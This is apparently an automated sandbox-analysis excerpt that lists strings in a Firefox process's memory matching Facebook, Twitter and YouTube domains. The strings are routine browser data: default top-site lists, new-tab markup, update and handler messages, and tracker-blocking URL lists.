Source: firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://web-assets.toggl.com/app/assets/scripts/.js://pub.doubleverify.com/signals/pub.js://connect.facebook.net//sdk.js://www.everestjs.net/static/st.v3.js://libs.coremetrics.com/eluminate.jspictureinpicture%40mozilla.org:1.0.0://auth.9c9media.ca/auth/main.jsFileUtils_closeSafeFileOutputStream@mozilla.org/network/safe-file-output-stream;1webcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svgFileUtils_closeAtomicFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.jsFileUtils_openAtomicFileOutputStream://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//all.js@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStream://cdn.branch.io/branch-latest.min.jsresource://gre/modules/addons/XPIProvider.jsm://www.googletagmanager.com/gtm.js*://www.google-analytics.com/plugins/ua/ec.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.google-analytics.com/analytics.js://www.googletagservices.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://pagead2.googlesyndication.com/tag/js/gpt.js*://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://www.google-analytics.com/gtm/js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js*://.vidible.tv//vidible-min.js://s.webtrends.com/js/advancedLinkTracking.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/webtrends.min.jsWEBEXT_EVENTPAGE_IDLE_RESULT_COUNT equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B75A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.phpsessionstore.resuming_after_os_restart equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2839565999.000002BA5B5A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B88F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B82F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Failed to listen. Listener already attached.No callback set for this channel.devtools.performance.popup.feature-flagFailed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=defaultbrowser.urlbar.dnsResolveFullyQualifiedNames@mozilla.org/network/protocol;1?name=filereleaseDistinctSystemPrincipalLoaderresource://devtools/server/devtools-server.js^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPdevtools.performance.recording.ui-base-urldevtools/client/framework/devtoolsDevToolsStartup.jsm:handleDebuggerFlagdevtools.debugger.remote-websocketdevtools/client/framework/devtools-browserDevTools telemetry entry point failed: WebChannel/this._originCheckCallback@mozilla.org/uriloader/handler-service;1^([a-z+.-]+:\/{0,3})([^\/@]+@).+get FIXUP_FLAGS_MAKE_ALTERNATE_URIFailed to execute WebChannel callback:browser.fixup.dns_first_for_single_words^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?get FIXUP_FLAG_FORCE_ALTERNATE_URI@mozilla.org/dom/slow-script-debug;1Unable to start devtools server on {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON dataresource://devtools/shared/security/socket.jsJSON Viewer's onSave failed in startPersistencebrowser.fixup.domainsuffixwhitelist.https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionhttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/DeferredTask.sys.mjs_injectDefaultProtocolHandlersIfNeededresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/FileUtils.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/JSONFile.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1resource://gre/modules/ExtHandlerService.sys.mjsextractScheme/fixupChangedProtocol<{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/network/file-input-stream;1@mozilla.org/uriloader/dbus-handler-app;1Can't invoke URIFixup in the content processScheme should be either http or httpsisDownloadsImprovementsAlreadyMigratedSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argument@mozilla.org/network/input-stream-pump;1https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/scriptableinputstream;1Non-zero amount of bytes must be specifiedhttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%spdfjs.previousHandler.preferredActionpdfjs.previousHan
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000018.00000002.2841148791.000002BA5B710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
